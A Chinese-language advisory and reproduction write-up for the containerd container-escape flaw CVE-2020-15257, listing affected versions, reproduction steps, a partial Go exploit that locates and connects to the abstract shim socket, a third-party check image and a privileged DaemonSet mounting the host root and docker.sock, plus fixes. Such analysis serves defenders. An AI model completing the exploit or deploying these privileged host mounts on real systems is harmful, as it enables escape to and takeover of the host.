【首发】CVE-2020-15257 容器逃逸漏洞复现与解析附Poc
漏洞简介containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升
漏洞简介
containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。
影响版本
containerd < 1.4.3
containerd < 1.3.9
安全版本
containerd >= 1.4.3
containerd >= 1.3.9
漏洞复现
1、首先安装有漏洞的containerd版本
2、用root用户以共享主机网络的方式启动容器 sudo docker run -itd –network=host ubuntu:latest /bin/bash
3、在容器内执行cat /proc/net/unix | grep 'containerd-shim' | grep '@'可看到抽象命名空间Unix域套接字
4、根据漏洞描述通过图片中的抽象命名空间Unix域套接字可访问dockerd-shim rpc api
漏洞应急与自测
为了便于验证用户环境中是否存在该漏洞,我们提供了poc镜像。使用方式如下:sudo docker run -it --rm -v /:/host/ -v /var/run/docker.sock:/var/run/docker.sock --net=host hub.dosec.cn/library/poc:CVE-2020-15257
为了便于用户在集群中验证该漏洞,可使用如下命令查看共享了主机网络的podkubectl get pod --all-namespaces -o custom-columns=namespace:.metadata.namespace,CONTAINER:.spec.containers[0].name,NetWork:.spec.hostNetwork,hostname:.spec.nodeName,nodeIP:.status.hostIP | grep true

当然也可以使用如下编排文件进行检测
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: cve-2020-15257
namespace: cvetest
spec:
selector:
matchLabels:
name: cve
template:
metadata:
name: cve-2020-15257
labels:
name: cve
spec:
# restartPolicy: always
containers:
- name: cve-2020-15257
image: dosecteam/pocs:CVE-2020-15257
securityContext:
privileged: true
env:
- name: KUBERNETES_NODENAME
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: spec.nodeName
volumeMounts:
- name: host-fs
mountPath: /host
- name: socket-fs
mountPath: /var/run/docker.sock
hostNetwork: true
volumes:
- name: host-fs
hostPath:
path: /
- name: socket-fs
hostPath:
path: /var/run/docker.sock
执行如下命令:
kubectl create ns cvetes
kubectl apply -f checkcve.yaml
kubectl get po -n cvetest|awk '{print $1}' | xargs -i kubectl logs -n cvetest {}
漏洞利用附非完整exp
参考containerd官网源码,我们可以在容器内访问到该socket文件。然后可启动一个新的容器,该容器挂载宿主机根目录到容器内的/host目录,即可实现对宿主机完全读写,达到容器逃逸的目的。

下面为非完整exp。请自行脑补。
package main
import (
"fmt"
"net"
"os"
"regexp")
func getshimunixpath() (string, error) {
file, err := os.Open("/proc/net/unix")
if err != nil {
return "", err
}
var b []byte = make([]byte, 0x1fff)
file.Read(b)
defer file.Close()
socklist := string(b)
regString := "/containerd-shim/moby/[a-f 0-9]{64}/shim.sock"
reg, _ := regexp.Compile(regString)
path := reg.FindString(socklist)
if path == "" {
err = fmt.Errorf("no sock file found")
return "", err
}
path = "\x00" + path
return path, err
}
func main() {
shimunixpath, err := getshimunixpath()
if err != nil {
fmt.Println(err)
return
}
conn, err := net.Dial("unix", shimunixpath)
if err != nil {
fmt.Println(err)
return
}
//do something with this connection
//此处省略关键信息,自行脑部
//此处省略关键信息,自行脑部
//此处省略关键信息,自行脑部
defer conn.Close()
}
漏洞修复
- 升级 containerd 至最新版本。
- 通过添加如 deny unix addr=@**的AppArmor策略禁止访问抽象套接字。
应当注意,应停止并重新启动使用旧版本的容器填充垫片启动的容器,因为即使在升级后,运行中的容器仍将继续受到攻击。如果您没有为不受信任的用户提供在与垫片相同的网络名称空间中启动容器的能力(通常是“主机”网络名称空间,例如docker run –net = host或hostNetwork:在Kubernetes窗格中为true),并且以有效UID为0运行时,您就不会受到此问题的影响。
转载自https://mp.weixin.qq.com/s/8Zel4oPXdctUE1kotti8Yw
魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。
更多推荐



所有评论(0)